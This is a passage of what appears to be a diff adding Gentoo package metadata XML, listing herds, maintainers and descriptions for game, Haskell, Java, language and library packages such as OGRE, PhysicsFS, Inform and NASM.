+hierarchy, and children are transformed by their parents. So a complex object can be moved simply by 
+changing the coordinates of the top level object, and color transformations and alpha transformations 
+work the same way. The alpha blending can be applied at a per-image or per-pixel level.
+
+Objects can be scaled up or down when drawn, or scaling can be pre-cached. The screen can be split 
+into sub window views, and each view has its own object transformations.
+
+Use as is. Kyra is currently working and ready for use. You can put it into your programs and start 
+using it now. It has been used enough to mature some and be already bug fixed. On the other hand, if 
+you're someone who likes to get involved, there are still optimization and feature opportunities in 
+the code.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-games/libnw">
+<herd>games</herd>
+<longdescription>
+libnw - libnw's aim is to provide platform-independent routines for the low- and 
+mid-level manipulation of NWN resources, as members of game data files, modules, hak 
+paks, export files, or stand alone. As a side effect, command-line programs are 
+often produced to exercise portions of the library. Ultimately, these routines are 
+intended to be assembled along with some form of GUI to make an equivalent to 
+BioWare's Aurora Toolset.
+libnw is very much a work in progress, coded in C, and initially developed on ia32 
+hardware running GNU/Linux. Members of the OK Project have assisted in porting the 
+code to Mac OS X, as well.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-games/ode">
+<herd>games</herd>
+<longdescription>
+ODE is a free, industrial quality library for simulating articulated rigid body 
+dynamics - for example ground vehicles, legged creatures, and moving objects in VR 
+environments. It is fast, flexible, robust and platform independent, with advanced 
+joints, contact with friction, and built-in collision detection.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-games/ogre">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+OGRE (Object-Oriented Graphics Rendering Engine) is a scene-oriented, flexible 3D 
+engine written in C++ designed to make it easier and more intuitive for developers 
+to produce games and demos utilising 3D hardware. The class library abstracts all 
+the details of using the underlying system libraries like Direct3D and OpenGL and 
+provides an interface based on world objects and other intuitive classes.
+
+Productivity features
+
+    * Simple, easy to use OO interface designed to minimise the effort required to render 3D scenes, and to be independent of 3D implementation e.g. Direct3D/OpenGL/Glide etc.
+    * Extensible example framework makes getting your application running is quick and simple
+    * Common requirements like render state management, hierarchical culling, dealing with transparency are done for you automatically saving you valuable time
+    * Clean, uncluttered design and full documentation of all engine classes
+
+Platform and 3D API support
+
+    * Direct3D and OpenGL support
+    * Windows (all major versions), Linux and Mac OSX support
+    * Builds on Visual C++ 6 (with STLport), Visual C++.Net (with STLport), Visual C++.Net 2003
+    * Builds on gcc 3+ on Linux / Mac OSX
+
+Material / Shader support
+
+    * Load textures from PNG, JPEG or TGA files, MipMaps generated automatically, resizes maps to align with hardware requirements
+    * Procedural texture coordinate generation (e.g. environment mapping) and modification (scrolls, warps, rotations)
+    * Unbounded number of texture layers with many texture blending effects, animated textures
+    * Multitexturing hardware used to best effect automatically, combined with automatic fallback to mulitpass rendering
+    * Object transparency and other scene-level blending effects
+    * All defineable through text scripts to allow you to set up and tweak advanced materials without recompiling
+
+Meshes
+
+    * Flexible mesh data formats accepted
+    * Export from Milkshape3D direct to OGRE .mesh and .skeleton format
+    * Skeletal animation (including blending of multiple animations)
+    * Biquadric Bezier patches for curved surfaces
+    * Progressive meshes 
+
+Scene Features
+
+    * Highly customisable, flexible scene management, not tied to any single scene type. Use predefined classes for scene organisation if they suit or plug in your own subclass to gain full control over the scene organisation
+    * Generic SceneManager hierarchically culls by bounding volumes
+    * Example plugin (BspSceneManager) specialises to allow fast indoor renders, loading Quake3 levels inc. shader script parsing support
+    * Hierarchical scene graph; nodes allow objects to be attached to each other and follow each others movements, articulated structures etc
+    * Scene querying features 
+
+Special Effects
+
+    * Particle Systems, including easily extensible emitters and affectors (customisable through plugins). Systems can be defined in text scripts for easy tweaking. Automatic use of particle pooling for maximum performance
+    * Support for skyboxes, skyplanes and skydomes, very easy to use
+    * Billboarding for sprite graphics
+    * Transparent objects automatically managed (rendering order and depth buffer settings all set up for you)
+
+Misc features
+
+    * Common resource infrastructure for memory management and loading from archives (ZIP, PK3)
+    * Flexible plugin architecture allows engine to be extended without recompilation
+    * 'Controllers' allow you to easily organise derived values between objects e.g. changing the colour of a ship based on shields left
+    * Debugging memory manager for identifying memory leaks
+    * ReferenceAppLayer provides an example of how to combine OGRE with other libraries, for example ODE for collision and physics
+    * XMLConverter to convert efficient runtime binary formats to/from XML for interchange or editing
+
+Exporters
+
+    * 3D Studio Max (meshes and animation)
+    * Milkshape 3D (meshes and animation)
+    * Blender3D (meshes)
+    * Wings3D (meshes)
+    * VRML97 (meshes)
+    * Maya (meshes)
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-games/physfs">
+<herd>games</herd>
+<longdescription>
+PhysicsFS is a library to provide abstract access to various archives. It is 
+intended for use in video games, and the design was somewhat inspired by Quake 3's 
+file subsystem. The programmer defines a &quot;write directory&quot; on the physical 
+filesystem. No file writing done through the PhysicsFS API can leave that write 
+directory, for security. For example, an embedded scripting language cannot write 
+outside of this path if it uses PhysFS for all of its I/O, which means that 
+untrusted scripts can run more safely. Symbolic links can be disabled as well, for 
+added safety. For file reading, the programmer lists directories and archives that 
+form a &quot;search path&quot;. Once the search path is defined, it becomes a single, 
+transparent hierarchical filesystem. This makes for easy access to ZIP files in the 
+same way as you access a file directly on the disk, and it makes it easy to ship a 
+new archive that will override a previous archive on a per-file basis. Finally, 
+PhysicsFS gives you platform-abstracted means to determine if CD-ROMs are available, 
+the user's home directory, where in the real filesystem your program is running, 
+etc.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-games/simgear">
+<herd>games</herd>
+<longdescription>
+SimGear is a set of open-source libraries designed to be used as building blocks for 
+quickly assembling 3d simulations, games, and visualization applications.
+
+The purpose of this project is to develop open-source libraries and
+building blocks to assist with rapid construction/prototyping of 3d
+simulation, game, and visualization software.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-haskell/alex">
+<herd>haskell</herd>
+<maintainer>
+  <email>kosmikus@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-haskell/haddock">
+<herd>haskell</herd>
+<maintainer>
+  <email>kosmikus@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-haskell/happy">
+<herd>haskell</herd>
+<maintainer>
+  <email>kosmikus@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-haskell/hdoc">
+<herd>haskell</herd>
+<maintainer>
+  <email>kosmikus@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-haskell/hmake">
+<herd>haskell</herd>
+<maintainer>
+  <email>kosmikus@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-haskell/hugs98-graphics">
+<herd>haskell</herd>
+<maintainer>
+  <email>kosmikus@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/ant">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/antlr">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/avalon-logkit">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/avalon-phoenix">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/batik">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/bcel">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/blackdown-jdk">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/blackdown-jre">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/bluej">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/bsh">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/commons-beanutils">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/commons-cli">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/commons-collections">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/commons-dbcp">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/commons-digester">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/commons-discovery">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/commons-fileupload">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/commons-httpclient">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/commons-lang">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/commons-logging">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/commons-net">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/commons-pool">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/commons-validator">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/compaq-jdk">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/compaq-jre">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/cryptix-jce">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/dbconnectionbroker">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/dom4j">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/ecs">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/fesi">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/fop-bin">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/gnu-jaxp">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/gnu-regexp">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/ibm-jdk">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/ibm-jre">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/infobus">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jad">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jaf">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/japhar">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/java-config">
+  <herd>java</herd>
+  <maintainer>
+    <email>aether@gentoo.org</email>
+    <name>Jason Mobarak</name>
+    <description>Maintainer</description>
+  </maintainer>
+  <maintainer>
+    <email>kloeri@gentoo.org</email>
+    <name>Bryan Ostergaard</name>
+    <description>Maintainer</description>
+  </maintainer>
+  <maintainer>
+    <email>strider@gentoo.org</email>
+    <name>Adrian Almenar</name>
+    <description>Maintainer</description>
+  </maintainer>
+  <longdescription>
+  java-config is used to configure the Java subsystem on your Gentoo 
+  installation. In particular, it can be used to configure system-wide and
+  per-user default JVMs, construct classpath env vars from installed java
+  packages and be used to query for the path to various JDK tools.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/java-getopt">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/java-gnome">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/java-gtk">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/java-sdk-docs">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/javamail">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jdbc-informix">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jdbc-mssqlserver">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jdbc-mysql">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jdbc2-oracle">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jdbc2-postgresql">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jdbc3-oracle">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jdbc3-postgresql">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jdom">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jikes">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jlex">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jmbus">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jmf">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jrockit">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jswat">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jump">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/junit">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/jython">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/kaffe">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/kissme-classpath">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/kissme">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/log4j">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/lucene">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/makeme">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/maven">
+  <herd>java</herd>
+  <maintainer>
+    <email>strider@gentoo.org</email>
+    <name>Adrian Almenar</name>
+    <description>Maintainer</description>
+  </maintainer>
+  <longdescription>Maven is a Java project management and project comprehension tool. Maven is based on the concept of a project object model (POM) in that all the artifacts produced by Maven are a result of consulting a well defined model for your project. Builds, documentation, source metrics, and source cross-references are all controlled by your POM.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/oro">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/qat">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/randomguid">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/regexp">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/rhino">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/saxon">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/servletapi">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/snipsnap">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/sun-j2ee">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/sun-j2sdk">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/sun-jdk">
+  <herd>java</herd>
+  <maintainer>
+    <email>strider@gentoo.org</email>
+    <name>Adrian Almenar</name>
+    <description>Maintainer</description>
+  </maintainer>
+  <longdescription>Sun Java Development Kit Package. AKA.J2SE</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/velocity">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/xalan">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/xdoclet">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/xerces">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/xom">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-java/xt">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/R">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/blassic">
+<herd>no-herd</herd>
+<maintainer>
+  <email>mr_bones_@gentoo.org</email>
+  <name>Michael Sterrett</name>
+</maintainer>
+<longdescription>
+Blassic is a classic Basic interpreter. The line numbers are mandatory,
+and it has PEEK &amp; POKE. The main goal is to execute programs written in
+old interpreters, but it can be used as a scripting language.  Many examples
+are included in /usr/share/blassic/examples/.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/ccc">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+Compaq C for Linux Alpha Systems provides the same code optimization technology used in Compaq Fortran for Linux Alpha Systems, which is current with the very latest compilers for Compaq Tru64 UNIX. This can provide significant performance improvements in applications previously built for Linux Alpha. Improvements of a factor of two or more have been seen in some floating-point intensive applications, while more modest improvements on the order of 15% to 30% are more often seen for integer codes.
+
+The Compaq C compiler is a standards-compliant, multi-dialect, feature-rich implementation of the C language. It contains a highly optimizing code generator specifically designed to exploit the 64-bit Alpha architecture. It is particularly well-suited and contains extended support for systems programming, parallel programming, and mathematical computing.
+
+The compiler supports most language features and options provided by the newest C compilers for Tru64 UNIX. This compiler also extends the language dialect and diagnostic message controls found in the most recent Tru64 UNIX C compilers to provide better compatibility with gcc, and adds compatibility with the gcc command line to minimize makefile changes.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/cxx">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+Compaq C++ for Linux Alpha is a native programming language product, which generates optimized object code. Compaq C++ for Linux Alpha is based on the ANSI/ISO C++ International Standard, reference designation number ISO/IEC 14882:1998. In addition to this standard, C++ supports the ARM, CFRONT, GNU, and MS dialects. In addition to the compiler, the kit includes the C++ Standard Library, the Compaq Portable Math Library (CPML) and the Ladebug debugger ported from Tru64 UNIX. Documentation includes man pages, a README document, a Using Guide, and a Class Library Reference Manual.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/ghc-bin">
+<herd>haskell</herd>
+<maintainer>
+  <email>kosmikus@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/ghc">
+<herd>haskell</herd>
+<maintainer>
+  <email>kosmikus@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/gnat">
+<herd>ada</herd>
+<maintainer>
+  <email>dholm@gentoo.org</email>
+  <name>David Holm</name>
+</maintainer>
+<longdescription>GNAT, the (GN)U (A)da (T)oolchain, is a high performance Ada 95 development environment based on the mature GCC compiler technology. It implements the full Ada 95 language defined by the ISO standard and is upward compatible with Ada 83. It includes the only Ada 95 compiler technology to be 100% validated on a large number of hardware/operating system platforms (core language as well as all Specialized Needs Annexes). GCC's extensive portability makes GNAT ideal for use as a cross-compiler for embedded development. Furthermore, because of the common code-generator technology of GCC, GNAT has excellent support for multi-language programming.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/helium">
+<herd>haskell</herd>
+<maintainer>
+  <email>kosmikus@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/hugs98">
+<herd>haskell</herd>
+<maintainer>
+  <email>kosmikus@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/icc">
+<herd>no-herd</herd>
+<maintainer>
+<email>avenj@gentoo.org</email>
+<name>Jon Portnoy</name>
+<description>Goes to ebrostig soon</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/inform">
+<herd>games</herd>
+ <longdescription>
+A Design System for Interactive Fiction
+
+Just as film might be called a form of literature which needs technology to be 
+read (a cinema projector or a television set) and to be written (a camera), 
+interactive fiction is read with the aid of a computer. On this analogy, Inform 
+is a piece of software enabling any modern computer to be used as the camera, or 
+the film studio, to create works of interactive fiction. To read the resulting 
+works, you and your audience need only a simpler piece of software called an 
+interpreter.
+
+In this genre of fiction, the computer describes a world and the player types 
+instructions like touch the mirror for the protagonist character to follow; the 
+computer responds by describing the result, and so on until a story is told.
+
+Interactive fiction emerged from the old-style &quot;adventure game&quot; (c.1975) and 
+tends to be a playful genre, which must sometimes be teased out as though it were 
+a cryptic crossword puzzle. But this doesn't prevent it from being an artistic 
+medium, which has attracted (for instance) the former U.S. Poet Laureate, Robert 
+Pinsky, and the novelists Thomas M. Disch and Michael Crichton. An interactive 
+fiction is not a child's puzzle-book, with a maze on one page and a rebus on the 
+next, but nor is it a novel. Neither pure interaction nor pure fiction, it lies 
+in a strange and still largely unexplored land in between.
+
+Since its invention (by Graham Nelson in 1993), Inform has been used to design 
+some hundreds of works of interactive fiction, in eight languages, reviewed in 
+periodicals ranging in specialisation from XYZZYnews to The New York Times. It 
+accounts for around ten thousand postings per year to Internet newsgroups. 
+Commercially, Inform has been used as a multimedia games prototyping tool. 
+Academically, it has turned up in syllabuses and seminars from computer science 
+to theoretical architecture, and appears in books such as Cybertext: Perspectives 
+on Ergodic Literature (E. J. Aarseth, Johns Hopkins Press, 1997). Having started 
+as a revival of the then-disused Infocom adventure game format, the Z-Machine, 
+Inform came full circle when it produced Infocom's only text game of the 1990s: 
+Zork: The Undiscovered Underground, by Mike Berlyn and Marc Blank.
+ </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/lua">
+<herd>no-herd</herd>
+<maintainer>
+  <email>twp@gentoo.org</email>
+  <name>Tom Payne</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/mosml">
+<herd>no-herd</herd>
+<maintainer>
+  <email>plasmaroo@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/nasm">
+<herd>no-herd</herd>
+<maintainer>
+  <email>mr_bones_@gentoo.org</email>
+  <name>Michael Sterrett</name>
+</maintainer>
+<longdescription>
+The Netwide Assembler, NASM, is an 80x86 assembler designed for portability
+and modularity. It supports a range of object file formats, including Linux
+and NetBSD/FreeBSD a.out, ELF, COFF, Microsoft 16-bit OBJ and Win32. It
+will also output plain binary files. Its syntax is designed to be simple
+and easy to understand, similar to Intel's but less complex. It supports
+Pentium, P6, MMX, 3DNow!, SSE and SSE2 opcodes, and has macro capability.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/nhc98">
+<herd>haskell</herd>
+<maintainer>
+  <email>kosmikus@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/ocaml">
+<herd>ml</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/palmos-sdk">
+<herd>no-herd</herd>
+<maintainer>
+	<email>plasmaroo@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/perl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/pike">
+<herd>no-herd</herd>
+<maintainer>
+  <email>scandium@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/prc-tools">
+<herd>no-herd</herd>
+<maintainer>
+  <email>plasmaroo@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/python">
+<herd>python</herd>
+<maintainer>
+	<email>liquidx@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/ruby-cvs">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/ruby">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/smlnj">
+<herd>ml</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/squeak">
+<herd>no-herd</herd>
+<maintainer>
+  <email>jhhudso@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/tcc">
+<herd>no-herd</herd>
+<maintainer>
+  <email>george@gentoo.org</email>
+  <description> He's the one in the ChangeLog, giving this to him </description>
+</maintainer>
+
+<maintainer>
+  <email>spider@gentoo.org</email>
+  <name>Spider</name>
+  <description>Barged in and took this for now, I needed tcc to work</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lang/tinycobol">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+  <description>Included package on user request, free for adoption.</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/atk">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/atlas">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/crypto++">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rphillips@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/csconv">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/cyrus-imap-dev">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/dbh">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/dietlibc">
+	<herd>no-herd</herd>
+	<longdescription>The diet libc is a libc that is optimized for small size. It can be used to create small statically linked binaries for Linux on alpha, arm, hppa, ia64, i386, mips, s390, sparc, sparc64, ppc and x86_64.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/dmalloc">
+<herd>no-herd</herd>
+<maintainer>
+	<email>liquidx@gentoo.org</email>
+	<description>Looking for someone to take over maintaining this package</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/eb">
+<herd>no-herd</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/eet">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+EET is a tiny library designed to write an arbitary set of chunks of data to a file 
+and optionally compress each chunk (very much like a zip file) and allow fast 
+random-access reading of the file later on. It does not do zip as a zip itself has 
+more complexity than is needed, and it was much simpler to impliment this once here.
+
+Eet is extremely fast, small and simple. Eet files can be very small and highly 
+compressed, making them very optimal for just sending across the internet without 
+having to archive, compress or decompress and install them. They allow for 
+lightning-fast random-acess reads once created, making them perfect for storing data 
+that is written once (or rarely) and read many times, but the program does not want 
+to have to read it all in at once.
+
+It also can encode and decode data structures in memory, as well as image data for 
+saving to Eet files or sending across the network to other machines, or just writing 
+to arbitary files on the system. All data is encoded in a platform independant way 
+and can be written and read by any architecture.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/eimil">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/elfsh">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>solar@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription>ELFsh is an interactive and scriptable ELF machine to play with executable files, shared libraries and relocatable ELF32 objects. It is useful for daily binary manipulations such as on-the-fly patching, embedded code injection, and binary analysis in research fields such as reverse engineering, security auditing and intrusion detection.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/ewd">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Ewd is a library providing thread-safe basic data structures like hashes, lists and 
+trees.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/fftw">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/fribidi">
+    <herd>middle-east</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/g-wrap">
+<herd>gnome</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/galib">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/geoip">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>mboman@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription>Geo-IP enables you to easily look up countries by IP addresses, even when reverse DNS entries don't exist. There is a free database that is updated yearly, and there are a number of open source APIs available.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/glib">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/gsl">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/hdf">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/hdf5">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libcdio">
+<herd>video</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libcpml">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
